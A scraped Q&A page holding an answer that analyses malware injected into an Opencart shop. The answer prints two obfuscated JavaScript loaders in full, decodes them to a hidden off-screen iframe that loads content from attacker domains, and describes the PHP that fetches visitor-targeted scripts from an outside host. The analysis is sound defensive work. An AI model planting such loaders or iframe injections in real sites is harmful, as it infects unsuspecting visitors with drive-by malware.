Opencart: Ajax json response unknown characters

前端 未结 2 1918
面向向阳花
面向向阳花 2020-12-17 06:34

I am working on e-commerce website. It was working fine but suddenly all ajax functions didn\'t work. When I checked the ajax code in firebug I can see some js strings are

2条回答
  •  甜味超标
    2020-12-17 07:06

    To bad you didn't give us the full javascript that php injected (please add it to your question if you still have it, so we can decode it). But thank you so much for sharing the php behind it!!!

    Removing the php script is indeed the solution, but you should find out how you got 'hacked'/'infected' in the first place!!

    • Maybe a weak password or rather new vulnerability?
    • Also, all the computers of developers/maintainers/contributers that have (had) (ftp/admin/cms) access to your website, must be checked for password-stealing/sniffing malware (as a result of visiting your/another infected website).
    • Installed a rouge plugin/module on your website/server?
    • It is also possible that the whole server (and all websites on it) is comprimized. It might be wise to contact your hoster to.

    Note that such malware is often picked up by google: they'll add a warning to such a hacked website's index: 'This site may harm your computer.'
    Getting this notion removed requires a 'Request a malware-review' with google webmaster-tools (I don't know if google will automatically rescan your page in x amount of time if you don't report your page as fixed, neither do I know if you can report your page as fixed without google-webmaster tools, so be warned if you don't want to give your cellphone-number to google!!!).

    If one base64 decodes the string aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw from your php-code, one gets the url: http://mbrowserstats.com/statE/stat.php

    Your infected php-website used the above url with the GET-string
    ?ip=YOUR_IP&useragent=YOUR_BROWSER&domainname=INFECTED_WEBSITE_DOMAIN&fullpath=INFECTED_WEBSITE_PAGE&check='.isset($_GET['look'])
    to fetch a custom unique on-demand javascript to insert in the markup served to the (targeted!!) visitor.

    To decode the payload of that inserted visitor-unique javascript, I quickly whipped up a decoder (that also works for your partial payload, using the character _ as separator and an offset of -7 on those base 16 numbers).
    The (partial) string: 10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10
    decodes to:

            if (document.getElementsByTagName('body')[0]){
    

    I want to share my analysis of the variant I got, to explain how it works (hoping it will help others):
    The website I visited (in palemoon=firefox) suddenly started java and a cmd-box popped up.
    Cr@p.
    'View source' of the document, revealed an obfuscated script that was 'served' (inserted) before the html tag (with a leading space):

     
    
    
     etcetera...
    </code></pre>
    
    <p>Running it through jsbeautifier.org cleaned that up (before I added my human parsing comments) to:       </p>
    
    <pre><code>w = window;                          //hmmkay, note:reused lateron
    aq = "0" + "x";                      //so.. '0x', smells like hex
    ff = String;                         //haha, neat, ff is String
    ff = ff.fromCharCode;                //and ff is now String's fromCharCode method
    try {
        document["\x62ody"] ^= ~1;       //I'm guessing this should fail
    } catch (d21vd12v) {                 //so all the rest gets executed:
        v = 123;                         //bliep? 42? Here be dragons.. aka useless
        vzs = false;                     //ahh, can you guess where this leads?
        try {                            //no idea why this test is here
            document;
        } catch (q) {                    //but for an infection this should NOT run
            vzs = 1;
        }
        if (!vzs) e = w["eval"];         //false will become true so e = EVIL
        if (1) {                         //lol, if true, ok...
                                         //ahh, f the payload, an array (by split) of
                                         //640 hex-numbers
            f = "0,0,60,5d,17,1f,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,20,72,4,0,0,0,60,5d,69,58,64,5c,69,1f,20,32,4,0,0,74,17,5c,63,6a,5c,17,72,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,19,33,60,5d,69,58,64,5c,17,6a,69,5a,34,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,17,6e,60,5b,6b,5f,34,1e,28,27,27,1e,17,5f,5c,60,5e,5f,6b,34,1e,28,27,27,1e,17,6a,6b,70,63,5c,34,1e,6e,60,5b,6b,5f,31,28,27,27,67,6f,32,5f,5c,60,5e,5f,6b,31,28,27,27,67,6f,32,67,66,6a,60,6b,60,66,65,31,58,59,6a,66,63,6c,6b,5c,32,63,5c,5d,6b,31,24,28,27,27,27,27,67,6f,32,6b,66,67,31,27,32,1e,35,33,26,60,5d,69,58,64,5c,35,19,20,32,4,0,0,74,4,0,0,5d,6c,65,5a,6b,60,66,65,17,60,5d,69,58,64,5c,69,1f,20,72,4,0,0,0,6d,58,69,17,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6a,69,5a,1e,23,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,20,32,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,34,1e,24,28,27,27,27,27,67,6f,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,34,1e,58,59,6a,66,63,6c,6b,5c,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6e,60,5b,6b,5f,1e,23,1e,28,27,27,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,5f,5c,60,5e,5f,6b,1e,23,1e,28,27,27,1e,20,32,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,5d,20,32,4,0,0,74" ["split"](",");
        }
        w = f;                           //ahh juggling w to f
        s = [];                          //preparing s to receive the decoded string
        for (i = 2 - 2; - i + 640 != 0; i += 1) {  //haha, ok: ( 2-2=0; lol; i++ )
            j = i;                       //juggle artist at it again
            if ((031 == 0x19)) if (e) s = s + ff(e(aq + (w[j])) + 9);  //9 offset
        }  // 31oct = 19hex = 25 = true, if eval, LOOK MA, WITHOUT parseInt being EVIL
        fafa = e;                        //ok stop juggling. fafa = EVIL
        fafa(s)                          //there we go: EVIL(decoded string)
    }
    </code></pre>
    
    <p>As one can now read, they jump through a lot of hoops to fool virus-scanners.</p>
    
    <p>I re-factored this (for my understanding) to:</p>
    
    <pre><code>w = "/*PAYLOAD: comma separated uni-code characters in hex*/" ["split"](",");
    s = '';
    for (i = 0; i < 640; i++) {
        s += String.fromCharCode(  parseInt(w[i],16) + 9  );  //decode
    }
    eval(s)                                                   //execute
    </code></pre>
    
    <p>Using my decoder (set to base <code>16</code>, separation character <code>,</code> and offset <code>9</code>) the payload decoded to:</p>
    
    <pre><code>if (document.getElementsByTagName('body')[0]){
        iframer();
    } else {
        document.write("<iframe src='http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751' width='100' height='100' style='width:100px;height:100px;position:absolute;left:-10000px;top:0;'></iframe>");
    }
    function iframer(){
        var f = document.createElement('iframe');f.setAttribute('src','http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751');f.style.left='-10000px';f.style.top='0';f.style.position='absolute';f.style.top='0';f.setAttribute('width','100');f.setAttribute('height','100');
        document.getElementsByTagName('body')[0].appendChild(f);
    }
    </code></pre>
    
    <p>Note that this resulting code is indented with 2 and 3 <em>tabs</em> (amateur or fooling virusscan?) that I removed for readability. Also the line-endings are CR (13dec) (is the author/script-kiddie using an older MAC?).        </p>
    
    <p>So, now we have all the code we can (finally) simply explain what is happening:</p>
    
    <ul>
    <li>the PHP script <code>curl</code>'s a visitor/website unique javascript to inject in served markup</li>
    <li>this (by PHP) injected javascript will inject an <code>iframe</code> in the document's <code>body</code> (gallantly aided by the browser since body doesn't exist yet), positioned <code>-10000px</code> from the left (out of sight) in the visited page (on the visitors browser) and </li>
    <li>the injected <code>iframe</code> loads a specifically targeted (at user and website the user is visiting) external page (containing god knows what kind of mess/malware/virus/rootkit, in my case from <code>rotatethespin.com:8000</code>, <code>muruno-vaser.info:8000</code>, <code>epomota.com</code> etc.).</li>
    </ul>
    
    <p>I also verified this by getting the document's live html with this bookmarklet:       </p>
    
    <pre><code>javascript:(function(){ alert(document.documentElement.innerHTML); })()
    </code></pre>
    
    <p>This also showed the injected iframe code in the source.</p>
    
    <p>I used the next bookmarklet to move the iframe into view (assuming there is just 1 iframe):</p>
    
    <pre><code>javascript:(function(){ document.getElementsByTagName('iframe')[0].style.left='0px'; })()
    </code></pre>
    
    <p>Naturally one could also use firebug and similar tools (depending on browser).</p>
    
    <p>I also noticed that when using most webbased tools (or even w3c validator) to fetch the source of the infected website, php did not insert the javascript, <strong>making the website look not infected</strong>!<br>
    I also had this 'problem' when trying a simple telnet-command to (safely) get the infected code. However after seeing the php code behind it, I realized I used to few HTTP commands (specifically the referrer).<br>
    Doing: telnet infected-site.com 80 and then pasting the following finally gave the infected markup source:</p>
    
    <pre>
    GET /path.php?page=something HTTP/1.1
    Host: infected-site.com
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: nl,en-us;q=0.7,en;q=0.3
    Referer: http://infected-site.com/index.php
    Connection: Close
    </pre>
    
    <p>Note that this way one can also safely explore (and reverse-engineer) the source of the iframe etc!!</p>
    
    <p>I also noticed that the website-owner's computer also <em>did not</em> get the infected code! This is either because his machine is infected <em>or</em> because the the server that distributes the javascripts did not provide a script because it knew that client-machine was already infected.</p>
    
    <p><strong>Update:</strong> having a working set of tools in this answer, I re-checked the comprised website today (after a good night rest) and got totally different script injected (but still based on the same techniques I explained in this answer).</p>
    
    <pre><code><script>ss=eval("Str"+"ing");d=document;a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"["split"](","));for(i=0;i<a.length;i+=1){a[i]=parseInt(a[i],8)-(7-3);}try{d.body--}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss["fromCharCode"].apply(ss,a));</script>
    </code></pre>
    
    <p>Note that this time the numbers are in octal (base 8) (separated by <code>,</code> with an offset of <code>-4</code>).<br>
    So I updated my decoder to include a base/radix setting (and all the depending links in this answer) and as one can see the payload is still the same (apart from the domain it points to).</p>
    
    <hr>
    
    <p>I found this question by googling document\["\x62ody"\] ^= ~1 which gave (mostly useless/infected) 834 results.</p>
    
    <p>The malware I stumbled upon today had the above string and the pretty unique string 'd21vd12v' inside it, which gives 8300 (also mostly useless/infected) results.</p>
    
    <p>However googling '// This code use for global bot statistic' (found in the php you supplied in your question) rendered over 4.1 million results (dating back to at least 2010), indicating that also wordpress, joomla, etc are victim of this 'technique'.       </p>
    
    <p>Reading some of those links (like this, this or this) I get the impression this started out as a way to fool search-engines (like google) in order to increase page-ranking. This at the price of creating a self-inflicted malware-hole.<br>
    Naturally the variants that specialize in distributing malware now try to hide themselves from the search-engines.</p>
        </p>
                 <div class="appendcontent">
                                                            </div>
                </div>
                <div class="jieda-reply">
                  <span class="jieda-zan button_agree" type="zan" data-id='1254480'>
                    <i class="iconfont icon-zan"></i>
                    <em>0</em>
                  </span>
                       <span type="reply" class="showpinglun" data-id="1254480">
                    <i class="iconfont icon-svgmoban53"></i>
                   讨论(0)
                  </span>
                                                      
                  
                  <div class="jieda-admin">
                              
                 
           
              
                  </div>
                                           <div class="noreplaytext bb">
    <center><div>   <a href="https://www.e-learn.cn/qa/q-438035.html">  查看其它2个回答
    </a>
    </div></center>
    </div>            </div>
                             <div class="comments-mod "  style="display: none; float:none;padding-top:10px;" id="comment_1254480">
                        <div class="areabox clearfix">
    
    <form class="layui-form" action="">
                   
                <div class="layui-form-item">
        <label class="layui-form-label" style="padding-left:0px;width:60px;">发布评论:</label>
        <div class="layui-input-block" style="margin-left:90px;">
             <input type="text" placeholder="不少于5个字" AUTOCOMPLETE="off" class="comment-input layui-input" name="content" />
                            <input type='hidden' value='0' name='replyauthor' />
        </div>
        <div class="mar-t10"><span class="fr layui-btn layui-btn-sm addhuidapinglun" data-id="1254480">提交评论 </span></div>
      </div>
      
    </form>
                        </div>
                        <hr>
                        <ul class="my-comments-list nav">
                            <li class="loading">
                            <img src='https://www.e-learn.cn/qa/static/css/default/loading.gif' align='absmiddle' />
                             加载中...
                            </li>
                        </ul>
                    </div>
              </li>
                                  			
            </ul>
            
            <div class="layui-form layui-form-pane">
              <form id="huidaform"  name="answerForm"  method="post">
                
                <div class="layui-form-item layui-form-text">
                  <a name="comment"></a>
                  <div class="layui-input-block">
                
        
    <script type="text/javascript" src="https://www.e-learn.cn/qa/static/js/neweditor/ueditor.config.js"></script>
    <script type="text/javascript" src="https://www.e-learn.cn/qa/static/js/neweditor/ueditor.all.js"></script>
    <script type="text/plain" id="editor"  name="content"  style="width:100%;height:200px;"></script>                                 
    <script type="text/javascript">
                                     var isueditor=1;
                var editor = UE.getEditor('editor',{
                    //这里可以选择自己需要的工具按钮名称,此处仅选择如下五个
                    toolbars:[['source','fullscreen',  '|', 'undo', 'redo', '|', 'bold', 'italic', 'underline', 'fontborder', 'strikethrough', 'removeformat', 'formatmatch', 'autotypeset', 'blockquote', 'pasteplain', '|', 'forecolor', 'backcolor', 'insertorderedlist', 'insertunorderedlist', 'selectall', 'cleardoc', '|', 'rowspacingtop', 'rowspacingbottom', 'lineheight', '|', 'customstyle', 'paragraph', 'fontfamily', 'fontsize', '|', 'indent', '|', 'justifyleft', 'justifycenter', 'justifyright', 'justifyjustify', '|', 'link', 'unlink', 'anchor', '|', 'simpleupload', 'insertimage', 'scrawl', 'insertvideo', 'attachment', 'map', 'insertcode', '|', 'horizontal', '|', 'preview', 'searchreplace', 'drafts']],
                
                    initialContent:'',
                    //关闭字数统计
                    wordCount:false,
                    zIndex:2,
                    //关闭elementPath
                    elementPathEnabled:false,
                    //默认的编辑区域高度
                    initialFrameHeight:250
                    //更多其他参数,请参考ueditor.config.js中的配置项
                    //更多其他参数,请参考ueditor.config.js中的配置项
                });
                            editor.ready(function() {
                	editor.setDisabled();
                	});
                                $("#editor").find("*").css("max-width","362px");
            </script>              </div>
                </div>
                              
        
    
            
             <div class="layui-form-item">
                    <label for="L_vercode" class="layui-form-label">验证码</label>
                    <div class="layui-input-inline">
                      <input type="text"  id="code" name="code"   value="" required lay-verify="required" placeholder="图片验证码" autocomplete="off" class="layui-input">
                    </div>
                    <div class="layui-form-mid">
                      <span style="color: #c00;"><img class="hand" src="https://www.e-learn.cn/qa/user/code.html" onclick="javascript:updatecode();" id="verifycode"><a class="changecode"  href="javascript:updatecode();"> 看不清?</a></span>
                    </div>
                  </div>
                                      <div class="layui-form-item">
                        <input type="hidden" value="438035" id="ans_qid" name="qid">
       <input type="hidden" id="tokenkey" name="tokenkey" value=''/>
                    <input type="hidden" value="Opencart: Ajax json response unknown characters" id="ans_title" name="title"> 
                 
                  <div class="layui-btn    layui-btn-disabled"  id="ajaxsubmitasnwer" >提交回复</div>
                </div>
              </form>
            </div>
          </div>
          <input type="hidden" value="438035" id="adopt_qid"	name="qid" /> 
          <input type="hidden" id="adopt_answer" value="0"	name="aid" />
        </div>
        <div class="layui-col-md4">
              
     <!-- 热门讨论问题 -->
         
     <dl class="fly-panel fly-list-one">
            <dt class="fly-panel-title">热议问题</dt>
                <!-- 本周热门讨论问题显示10条-->